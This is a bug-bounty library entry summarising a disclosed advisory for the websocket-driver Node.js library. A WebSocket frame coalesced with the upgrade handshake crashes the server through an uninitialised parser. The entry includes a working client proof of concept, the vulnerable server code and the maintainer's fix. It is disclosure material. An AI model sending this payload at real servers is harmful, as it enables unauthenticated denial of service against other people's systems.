# websocket-driver: Server crash triggered by client sending message data in the same TCP chunk as request headers

websocket-driver crashes when a client sends a WebSocket frame in the same TCP chunk as the HTTP upgrade headers, hitting an uninitialized parser before start().

- Payout: Research
- Severity: high
- Program: websocket-driver
- Found by: samuel871211
- Disclosed: 2026-12-04
- CVE: CVE-2026-144303
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-mxfr-rg9v-vp3c
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-mxfr-rg9v-vp3c
- Tags: area:devices domain:network impact:dos kind:research platform:ghsa sev:high tech:nodejs tech:websocket technique:source-review vuln:dos

**Target:** Node.js WebSocket server using websocket.http() driver on HTTP upgrade event
**Root cause:** driver.io.write(body) is called before driver.start(), so the parser is not yet initialized; for RFC 6455 the body is normally empty, but a client can smuggle a frame into the same TCP chunk as the handshake headers, causing an uncaught exception.
**Steps:**
1. Set up server per README: on 'upgrade', create `websocket.http(request)`, call `driver.io.write(body)`, pipe socket, then `driver.start()`.
2. Client builds one buffer: valid HTTP upgrade request headers (`GET / HTTP/1.1`, `Upgrade: websocket`, `Sec-WebSocket-Key`, `Sec-WebSocket-Version: 13`, `\r\n\r\n`) concatenated with a masked text frame `[0x81, 0x81, 0, 0, 0, 0, 0x61]`.
3. Client writes the concatenated buffer in a single `socket.write()` so the frame lands in the `body` argument of the 'upgrade' event.
4. Server process crashes immediately; after fix it logs the message.
**How found:** Reporter noticed the README pattern passes the upgrade `body` to `driver.io.write()` before `start()`; reasoned that for RFC 6455 the body should be empty but nothing prevents a client from coalescing a frame into the same TCP chunk, then tested by concatenating headers and a frame in one write.
**Exploitation:** Unauthenticated remote attacker sends a single TCP write containing handshake headers plus a WebSocket frame; the frame arrives as the upgrade event's body buffer, is written to the uninitialized parser, and throws an uncaught exception that terminates the Node.js process.
**Insight:** When an API's documented call order writes attacker-controlled data into a component before its initialization step, check whether protocol framing lets a client smuggle that data into an earlier lifecycle stage (e.g. TCP coalescing of handshake and first frame).

## Proof of concept (copied exactly from the original report)

**Client sends handshake headers plus masked frame in one write**

```
let httpMessage = Buffer.from(
  'GET / HTTP/1.1\r\n' +
  'Host: 127.0.0.1\r\n' +
  'Connection: Upgrade\r\n' +
  'Upgrade: websocket\r\n' +
  `Sec-WebSocket-Key: ${btoa('the sample nonce')}\r\n` +
  'Sec-WebSocket-Version: 13\r\n' +
  '\r\n'
)

// FIN = 1, mask key 00 00 00 00, payload 'a'
let maskedTextFrame = Buffer.from([0x81, 0x81, 0, 0, 0, 0, 0x61])

// the frame is sent in the same write as the handshake,
// so it arrives in the `body` (head) argument of the 'upgrade' event
socket.write(Buffer.concat([httpMessage, maskedTextFrame]))
socket.on('error', () => {})
```

**Vulnerable server passing body to driver.io.write before start**

```
server.on('upgrade', (request, socket, body) => {
  if (!websocket.isWebSocket(request)) return
  let driver = websocket.http(request)
  driver.io.write(body)
  // set up event listeners...
  driver.start()
})

This API was originally designed to deal with the Draft 76 handshake, which included an 8-byte body as part of the handshake data. When this version is in use, the driver handles this sequence of calls correctly.

When the RFC 6455 standard protocol is in use, `body` should typically be empty, since clients should not send messages before the handshake completes. However, if `body` is not empty, then passing it to `driver.io.write()` before calling `driver.start()` triggers an exception due to the parser not being initialised. This exception crashes the process.

This has been mitigated by buffering this input and parsing it when `start()` is called, so that any data received before `start()` is called is not lost. This buffering is subject to the `maxLength` configuration parameter so clients cannot abuse this to grow the server's buffer indefinitely.

### Proof of concept

Given a server set up as follows:

const http = require('http')
const websocket = require('websocket-driver')

let server = http.createServer()

server.on('upgrade', (request, socket, body) => {
  if (!websocket.isWebSocket(request)) return

  let driver = websocket.http(request)

  driver.io.write(body)
  socket.pipe(driver.io).pipe(socket)

  driver.messages.on('data', (m) => console.log({ m }))

  driver.start()
})
```

